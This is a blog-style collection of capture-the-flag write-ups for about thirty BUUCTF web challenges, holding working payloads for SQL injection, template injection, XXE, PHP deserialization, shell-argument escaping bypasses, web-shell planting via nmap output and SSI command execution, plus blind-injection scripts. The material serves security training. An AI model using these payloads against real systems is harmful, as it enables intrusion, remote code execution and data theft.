当前位置: 首页 > news >正文

【Web】纯萌新的BUUCTF刷题日记Day1

目录

[RoarCTF 2019]Easy Java

[网鼎杯 2018]Fakebook

[CISCN2019 华北赛区 Day2 Web1]Hack World

[BJDCTF2020]The mystery of ip

[网鼎杯 2020 朱雀组]phpweb

[BSidesCF 2020]Had a bad day 

[BJDCTF2020]ZJCTF,不过如此

 [BUUCTF 2018]Online Tool

 [GXYCTF2019]禁止套娃

[NCTF2019]Fake XML cookbook

[GWCTF 2019]我有一个数据库

[BJDCTF2020]Mark loves cat 

[WUSTCTF2020]朴实无华 

[BJDCTF2020]Cookie is so stable

[安洵杯 2019]easy_web

[MRCTF2020]Ezpop 

[安洵杯 2019]easy_serialize_php 

[MRCTF2020]PYWebsite 

[强网杯 2019]高明的黑客

[WesternCTF2018]shrine 

[网鼎杯 2020 朱雀组]Nmap

[NPUCTF2020]ReadlezPHP 

[CISCN2019 华东南赛区]Web11

[SWPU2019]Web1

[CISCN 2019 初赛]Love Math 

[极客大挑战 2019]FinalSQL 

[BSidesCF 2019]Kookie 

[BSidesCF 2019]Futurella 

[BJDCTF2020]EasySearch

[极客大挑战 2019]RCE ME


刚学会F12看源码,每天做个一页题,吃嘛嘛香。

[RoarCTF 2019]Easy Java

登录框浅爆一下 

 

admin admin888登录成功 

点一下help,跳转到一个文件包含界面 

尝试post传参,成功下载文件 

尝试java web源码泄露 

ctf/web源码泄露及利用办法【总结中】_web游戏泄露源码信息找回解题思路-CSDN博客

WEB-INF主要包含一下文件或目录:    

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。    

/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中    

/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件    

/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。    

/WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码  

filename=/WEB-INF/web.xml读到servlet 和其他的应用组件配置及命名规则 

看到/Flag这个路由,直接访问报错500

filename=WEB-INF/classes/com/wm/ctf/FlagController.class读这个FlagController的字节码

 

base64解码拿到flag

[网鼎杯 2018]Fakebook

 先join注册一个用户

 ​​​​

 点击链接跳转,注意到?no=1,经过尝试可以sql注入

 直接报错注入,爆着爆着感觉限长太麻烦了,于是还是用回了union联合查询

?no=-1 union/**/select 1,2,3,4# 爆表
?no=-1 
union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
# 查字段
?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'#
# 查内容
?no=-1 union/**/select 1,group_concat('~',no,username,passwd,data,'~'),3,4 from fakebook.users#

最后回显如下,一个unserialize提示,并且data中也查出了序列化字符串

很显然就是data里存的数据反序列化出来渲染给前端的 

再进行一波信息搜集

访问/robots.txt

访问/user.php.bak,拿到user.php的源码

不难注意到,data中存的序列化数据就是对应的UserInfo类

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

此外,因为我传的是真实博客地址,所以访问/view.php?no=1,浏览器一直在转圈,即它在加载我的博客内容

加载好后查看源码那是一坨

那如果将博客地址换为本地文件,那是否就可以直接读取并回显靶机敏感文件了呢

很遗憾格式并不满足

但可以在查询的时候进行反序列化

payload:

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 右键查看源码

点击这一坨,再右键查看源代码,拿到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

表名和列名都告诉我们了,一眼sql注入

fuzz一下

长度为535的都是被ban的

if(1=1,sleep(5),1) 测出可以时间盲注

脚本

import requestsurl = 'http://9f99eed3-f4a9-46aa-be7e-8b177a68f109.node5.buuoj.cn:81/index.php'
res = ""for i in range(1, 48, 1):for j in range(32, 128, 1):# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{j},sleep(1),0)"data = {'id': payload}try:r = requests.post(url=url, data=data,timeout=0.5)except Exception as e:continueres += chr(j)print(res)break

直接爆出 

[BJDCTF2020]The mystery of ip

hint.php给到提示 

flag.php显示了ip 

是在XFF处打入的

测出有SSTI 

 掏出这张包浆老图

 

测出是Smarty 

 

Smarty 模板注入与沙箱逃逸-安全客 - 安全资讯平台

payload:

X-Forwarded-For: {if system('cat /flag')}{/if}

[网鼎杯 2020 朱雀组]phpweb

抓包,看到func和p(肯定param呗),这不为所欲为

ban了一堆命令执行函数,尝试echo

虽然没成功(因为echo是语言结构),但看到报错回显得知其逻辑是用call_user_func来处理的

确实命令执行该禁的都禁了,尝试文件读取,不能直接读到flag文件,所以先读index.php

 源码如下:

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}
}
class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}
}
?>

给了一个Test类,可以利用其来反序列化

exp

<?php
class Test {var $p = "Y-m-d h:i:s a";var $func = "date";
}$a=new Test();
$a->p="tac /tmp/f*";
$a->func="system";
echo serialize($a);
?>

 payload:

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:11:"tac+/tmp/f*";s:4:"func";s:6:"system";}

拿到flag 

[BSidesCF 2020]Had a bad day 

随便点一个,可以看到文件包含点

尝试去读取index.php,回显中显示是index.php.php

去掉后缀即可 

base64解码读到源码

主要是那段正则:检查变量 $file 中是否包含 "woofers"、"meowers" 或 "index" 子字符串之一

<?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?>

伪协议里塞个woofers就好 

payload:

?category=php://filter/convert.base64-encode/woofers/resource=flag

 

base64解码拿到flag

[BJDCTF2020]ZJCTF,不过如此

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

base64解码得

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

 简单解读下这段正则:

  1. /(' . $re . ')/ei:这是正则表达式的模式部分。其中,$re 是一个变量,可能是从外部传入的值。正则表达式模式的结构是将该变量的值插入到正则表达式中,形成一个模式。在模式的两侧使用了斜杠 / 来表示正则表达式的开始和结束。模式中的括号 () 表示一个捕获组,用来捕获匹配的内容。

  2. ei:这是正则表达式模式的修饰符部分。其中,e 修饰符表示执行替换字符串中的代码作为 PHP 代码来执行,i 修饰符表示执行大小写不敏感的匹配。

  3. 'strtolower("\\1")':这是替换字符串,用于指定匹配到的内容的替换方式。其中,\1 表示捕获组中的第一个匹配项,即模式中括号中匹配到的内容。然后,strtolower() 函数被调用,将捕获组中的内容转换为小写。

  4. $str:这是被处理的原始字符串,preg_replace() 函数将在这个字符串中执行替换操作。

 看起来极为正常的一个功能,实则存在漏洞

深入研究preg_replace与代码执行

payload:

/next.php?\S*=${eval($_POST[1])}

连蚁剑,拿flag

 [BUUCTF 2018]Online Tool

先来看防护部分

  1. $host = escapeshellarg($host);escapeshellarg() 函数用于对字符串进行安全地转义,使其可以安全地用作命令行参数。它会在参数两端添加单引号,并对其中的特殊字符进行转义处理,例如空格、单引号等。这样可以确保传递给 shell 的参数不会被误解释或利用。

  2. $host = escapeshellcmd($host);escapeshellcmd() 函数用于对字符串进行进一步的转义,以确保其安全性。它会移除字符串中的特殊字符,包括 ;&|><()\ 和换行符等,这些字符可能被用于构造恶意命令。这样可以减少命令注入攻击的风险。

再来看命令执行部分

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

它执行了一个 nmap 命令,nmap 是用于网络发现和安全审计的工具。这个命令的参数如下:

  • -T5:指定扫描的速度为 5,即最高速度。
  • -sT:指定使用 TCP connect() 扫描方式,即通过建立TCP连接来探测目标主机的端口状态。
  • -Pn:跳过主机发现阶段,直接对目标进行扫描,即使目标主机不响应ping也会进行扫描。
  • --host-timeout 2:设置主机超时时间为 2 秒,如果在这段时间内未能得到响应,则会被视为超时。
  • -F:指定快速扫描模式,仅扫描最常见的 1000 个 TCP 端口。

参考文章:谈escapeshellarg绕过与参数注入漏洞 | 离别歌

利用/绕过 PHP escapeshellarg/escapeshellcmd函数-安全客 - 安全资讯平台

意思就是当二者以题目顺序配合使用时会产生漏洞利用

;|& 等符号会被 escapeshellcmd 转义导致最后无效,所以不能用其来分割多个命令,所以要利用namp -oG xxx.xxx来写入一个文件

访问/819af541d003fa7570f13bd321a4786b/test.php,拿到flag 

 [GXYCTF2019]禁止套娃

简单信息搜集,测出git 

上GitHack

拿到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

 一眼无参RCE:无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

waf里主要是把'et'给ban了,让get一类都整不来了

先读当前目录下的文件

?exp=print_r(scandir(current(localeconv())));

?exp=highlight_file(session_id(session_start()));
Cookie: PHPSESSID=flag.php

[NCTF2019]Fake XML cookbook

随便登录一下,发现是以XML的形式传的 

 直接XXE读文件

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>

[GWCTF 2019]我有一个数据库

起手火星文

访问/robots.txt

访问phpinfo.php,没啥用

dirsearch扫出来phpmyadmin 

访问/phpmyadmin ,得知其版本号为4.8.1

搜历史漏洞 

 phpMyAdmin 4.8.1 远程文件包含漏洞复现-腾讯云开发者社区-腾讯云

 payload:

/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag

直接读取本地文件,拿到flag 

[BJDCTF2020]Mark loves cat 

简单信息搜集测出来git源码泄露 

上GitHack

拿到index.php的源码

<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

 这不就一坨变量覆盖(

直接走exit($yds)输出$flag

payload:

?yds=flag

[WUSTCTF2020]朴实无华 

访问/robots.txt 

 访问/fAke_f1agggg.php啥也没有

抓包看到响应头 

访问/fl4g.php 

主要要注意的是intval那个trick

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42echo intval(1e10);                    // 1410065408echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

 payload:

/fl4g.php?num=9e9&md5=0e215962017&get_flag=ls

空格用${IFS}来绕过 

payload:

/fl4g.php?num=9e9&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[BJDCTF2020]Cookie is so stable

点击Hint,提示让看cookie

  

点击Flag,随便提交下 

在Cookie的user点测出SSTI

 

测出来是Twig模板注入

SSTI模板注入 | Err0r的小站

payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("tac /f*")}}

[安洵杯 2019]easy_web

 抓包,看到传两个参数,第一个img应该可以任意文件读取,第二个cmd有限制

base64decode -> base64decode -> hexdecode 

再逆向对index.php进行处理得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

 

对响应体内容base64解码得

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

md5强比较payload:

a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

命令执行payload:

cmd=ta\c+/flag

[MRCTF2020]Ezpop 

瞪眼看链子

Show.__wakeup -> Show.__toString -> Test.__get ->Modifier.__invoke 

exp:

<?phpclass Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}class Show{public $source;public $str;
}class Test{public $p;
}$d=new Modifier();
$c=new Test();
$b=new Show();
$a=new Show();
$c->p=$d;
$b->str=$c;
$a->source=$b;
echo urlencode(serialize($a));

 payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

 base64解码得flag

[安洵杯 2019]easy_serialize_php 

/index.php?f=phpinfo

phpinfo看到disable_functions 

又看到了auto_append_file 

sha1不能直接利用,要打字符串逃逸

payload:

_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}

[MRCTF2020]PYWebsite 

 

 直接访问/flag.php

提示ip,改XFF拿到flag

[强网杯 2019]高明的黑客

访问/www.tar.gz拿到源码

意思是要我们在这一堆混淆代码里找到可利用的shell

 贴脚本

import os
import requests
import re
import threading
import timeprint('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)                                            #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath)                                                    #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5                                #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False                                             # 设置连接活跃状态为False
def get_content(file):s1.acquire()                                                print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f:                            #打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {}                                                        #所有的$_POSTparams = {}                                                        #所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://127.0.0.1/src/'+filereq = session.post(url, data=data, params=params)            #一次性请求所有的GET和POSTreq.close()                                                # 关闭请求  释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content:                                    #如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close()                                                # 关闭请求  释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close()                                                # 关闭请求  释放内存if "xxxxxx" in content:breakif flag == 1:                                                    #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)print('结束时间:  ' + time.asctime(time.localtime(time.time())))s1.release()for i in files:                                                            #加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()

 payload:

/xk0SzyKwfzw.php?Efa5BVG=tac /f*

[WesternCTF2018]shrine 

flag注册到了config里 

过滤就是不给用括号,不让用黑名单中的config和self

测出SSTI 

 先读全局变量

/shrine/{{url_for.__globals__}}

再读config 

/shrine/{{url_for.__globals__['current_app'].config}}

为啥config不会被set为none呢 

gpt如是说:

关于处理黑名单中的关键词(比如configself),其尝试通过生成的Jinja模板代码来将这些关键词设置为None。这个处理是发生在字符串被渲染为模板之前的,目的是为了避免模板注入攻击。

例如,如果有人尝试通过URL /shrine/{{ config }} 访问应用,理想情况下,config 关键词会被识别并通过之前的处理被设置为None,这样就不会显示出配置信息。但是,{{url_for.__globals__['current_app'].config}} 这个表达式是在模板渲染时计算的,而不是在黑名单处理阶段。因此,它能够绕过前面的“清洁”步骤,直接访问应用配置。

简而言之,这段代码试图在模板渲染前“消毒”输入,但是复杂的表达式(如访问url_for的全局变量来获取config)可以绕过这种简单的黑名单机制。

[网鼎杯 2020 朱雀组]Nmap

有escapeshellarg()与escapeshellcmd() 防护

内容上过滤了php

可以直接写马

payload:

' <?=eval($_POST[1]);?> -oG yjh.phtml '

连蚁剑,拿flag 

 

[NPUCTF2020]ReadlezPHP 

抓包看到一个href 

 

访问/time.php?source 

 一个反序列化,注意eval是语言结构,不能作为函数调用

我们可以用assert来转接

exp

<?phpclass HelloPhp{public $a = 'eval(phpinfo());';public $b = "assert"; }$c = new HelloPhp;echo serialize($c);
?>

 直接读phpinfo拿到flag

[CISCN2019 华东南赛区]Web11

XFF可以改变右上角的IP

又是SSTI

 测出来是Smarty

 payload:

X-Forwarded-For: {if system('tac /flag')}{/if}

 

[SWPU2019]Web1

先随便注册个账号登录进去

 

可以申请发布广告,状态是待管理确认,感觉可以XSS

 经过尝试确实可以xss

<script>alert(/xss/)</script>

但后台好像没bot,打不起来

看wp知道这题考的是sql注入啊,用到无列名注入

https://www.cnblogs.com/AikN/p/15725756.html

SQL注入之 无列名注入 原理详解_无列名布尔sql注入-CSDN博客

payload:


-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

 

[CISCN 2019 初赛]Love Math 

这个waf只要不是纯数字,就会被认为是函数丢给白名单检测 

目标构造 

?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

[]可以用{}来替代

 

_GET=hex2bin(5f474554) 

5f474554因为含一个f,所以要如下构造

5f474554=dechex(1598506324)

hex2bin可以用36进制来构造(从0-x共35个字符,用36进制)

base_convert()函数将10进制数转化为36进制的hex2bin

 

hex2bin=base_convert(37907361743,10,36) 

payload:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

[极客大挑战 2019]FinalSQL 

题目告诉我们要sql盲注

注入点在/search.php

 

^没被ban,用异或布尔盲注

import requestsurl = "http://49a8d21f-4eba-42cc-9a09-bf404c323452.node5.buuoj.cn:81/search.php"
flag = ''def payload(i, j):sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)data = {"id": sql}r = requests.get(url, params=data)# print (r.url)if "Click" in r.text:res = 1else:res = 0return resdef exp():global flagfor i in range(1, 10000):print(i, ':')low = 31high = 127while low <= high:mid = (low + high) // 2res = payload(i, mid)if res:low = mid + 1else:high = mid - 1f = int((low + high + 1)) // 2if (f == 127 or f == 31):break# print (f)flag += chr(f)print(flag)exp()
print('flag=', flag)

[BSidesCF 2019]Kookie 

用cookie/monster登录 

 改cookie为admin拿到flag

 

[BSidesCF 2019]Futurella 

右键查看源码拿到flag

 

[BJDCTF2020]EasySearch

常规信息搜集访问/index.php.swp拿到源码 

 

爆破脚本

import hashlib
import itertools
import string# 目标MD5哈希的前6个字符
target = '6d0bc1'# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits# 密码的最大长度,可以根据实际情况调整
max_length = 6# 爆破密码
def brute_force():for length in range(1, max_length + 1):# itertools.product生成所有可能的密码组合for attempt in itertools.product(charset, repeat=length):# 将密码组合转换为字符串password = ''.join(attempt)# 计算密码的MD5哈希,并取前6个字符hash = hashlib.md5(password.encode()).hexdigest()[:6]# 检查哈希是否与目标匹配if hash == target:return passwordreturn None# 运行爆破函数
password = brute_force()if password:print(f"Found password: {password}")
else:print("Password not found.")

 

admin / RhPd登录 

 

 抓包,看到响应头

访问/public/12fa73c031f386c66e78ad7885c9bb804386955a.shtml

 

 

SHTML是一种文件扩展名,代表的是服务器解析的HTML(Server-Parsed HTML)文件。这种文件类型支持服务器端包含(Server Side Includes,简称SSI)指令,允许在HTML页面中插入动态内容。SSI是一种简单的服务器端脚本语言,用于在Web页面被送往客户端浏览器之前,由Web服务器动态地插入各种内容。

通过使用SHTML文件和SSI指令,可以实现一些基本的服务器端功能,比如:

- 包含其他文件的内容:可以将网站的公共部分(例如页眉、页脚、导航菜单等)保存在单独的文件中,然后在多个页面中通过SSI指令包含它们,方便维护和更新。
- 显示当前的日期和时间、文件的最后修改时间等。
- 根据条件包含不同的内容或执行简单的逻辑判断。

使用SSI通常要求文件名以`.shtml`扩展名结尾,这样Web服务器就知道需要对这些文件进行额外的处理。在服务器配置中,也可以设置其他文件类型(如`.html`或`.htm`)来处理SSI指令,但这可能会影响服务器性能,因为服务器需要解析所有这些文件类型中的SSI指令。

SSI的使用很简单,它通过特殊的HTML注释标签来实现,例如:

```html
<!--#include virtual="/footer.html" -->
```

这行代码将在当前页面的相应位置插入`footer.html`文件的内容。

payload:

username=<!--#exec+cmd="cat+../flag_990c66bf85a09c664f0b6741840499b2"-->&password=RhPd

访问/public/3158b28826659dfc0d4a08fbb49eb779d24010d1.shtml拿到flag 

 

[极客大挑战 2019]RCE ME

【Web】disable_function绕过例题wp(1)

相关文章:

【Web】纯萌新的BUUCTF刷题日记Day1

目录 [RoarCTF 2019]Easy Java [网鼎杯 2018]Fakebook [CISCN2019 华北赛区 Day2 Web1]Hack World [BJDCTF2020]The mystery of ip [网鼎杯 2020 朱雀组]phpweb [BSidesCF 2020]Had a bad day [BJDCTF2020]ZJCTF&#xff0c;不过如此 [BUUCTF 2018]Online Tool [GXYCTF…...

【51单片机入门记录】RTC(实时时钟)-DS1302概述

目录 一、基于三线通信的RTC-DS1302 &#xff08;1&#xff09;简介 &#xff08;2&#xff09;特性 &#xff08;3&#xff09;引脚介绍 &#xff08;4&#xff09;控制字的格式 &#xff08;5.0&#xff09;日历时钟寄存器介绍 &#xff08;5.1&#xff09;日历时钟寄存…...

Lua热更新(AssetBundle)

AssetBundle 新版本导入ab包报错,则删除其中的Tests文件夹。 给资源分组 打包设置:平台、路径、重复打包清空文件夹、复制到streaming文件夹 建议勾选 建议使用LZ4压缩方式 用来观察文件中的包大小,不常用 参数总结: 这六个只做了解,重要的是上面的...

互联网人才现状分析

作者&#xff1a;哈哥撩编程&#xff08;视频号、抖音、公众号同名&#xff09; 新星计划全栈领域优秀创作者博客专家全国博客之星第四名超级个体COC上海社区主理人特约讲师谷歌亚马逊演讲嘉宾科技博主极星会首批签约作者 &#x1f3c6; 推荐专栏&#xff1a; &#x1f3c5;…...

高级IO——多路转接

高级IO——五种IO模型 首先我们之前在基础IO部分就学过IO的过程分等待过程和读写过程&#xff01; 比如我们的scanf除了从键盘缓冲区读取数据所花的时间&#xff0c;主要的时间花费放在了等你输入的过程&#xff01; 所以我们如果想提高我们的IO效率&#xff0c;我们除了要缩…...

TypeScript常用知识点整理

介绍 TypeScript 是 JavaScript 的一个超集&#xff0c;添加了静态类型支持和更多现代编程特性&#xff0c;提高了代码的可靠性和可维护性。最终会被编译成标准的 JavaScript 代码运行。 使用npm install -g typescript进行全局安装 将编写好的ts代码进行运行&#xff0c;第…...

【Unity实战100例】Unity入门小地图位置同步(第一第三人称)

unity小地图制作包括第一人称控制器和第三人称控制器 目录 一.选择合适自身的人称控制器 二.小地图制作...

蓝桥杯简单模板

目录 最大公约数 两个数的最大公约数 多个数的最大公约数 最小公倍数 两个数的最小公倍数 多个数的最小公倍数 素数 ​编辑 位数分离 正写 ​编辑 反写 闰年 最大公约数 两个数的最大公约数 之前看见的是辗转相除法&#xff0c;例如现在让算一个49&#xff0c;21…...

单例模式(饿汉模型,懒汉模型)

在着里我们先了解什么是单例模式。 就是某个类在进程中只能有单个实例&#xff0c;这里的单例模式需要一定的编程技巧&#xff0c;做出限制&#xff0c;一旦程序写的有问题&#xff0c;创建了多个实例&#xff0c;编程就会报错。 如果我们学会了单例模式&#xff0c;这种模式…...

torchvision中的数据集使用

torchvision中的数据集使用 使用和下载CIFAR10数据集 输出测试集中的第一个元素&#xff08;输出img信息和target&#xff09; 查看分类classes 打断点–>右键Debug–>找到classes 代码 import torchvisiontrain_set torchvision.datasets.CIFAR10(root"./data…...

linux 迁移home目录以及修改conda中pip的目录,修改pip安装路径

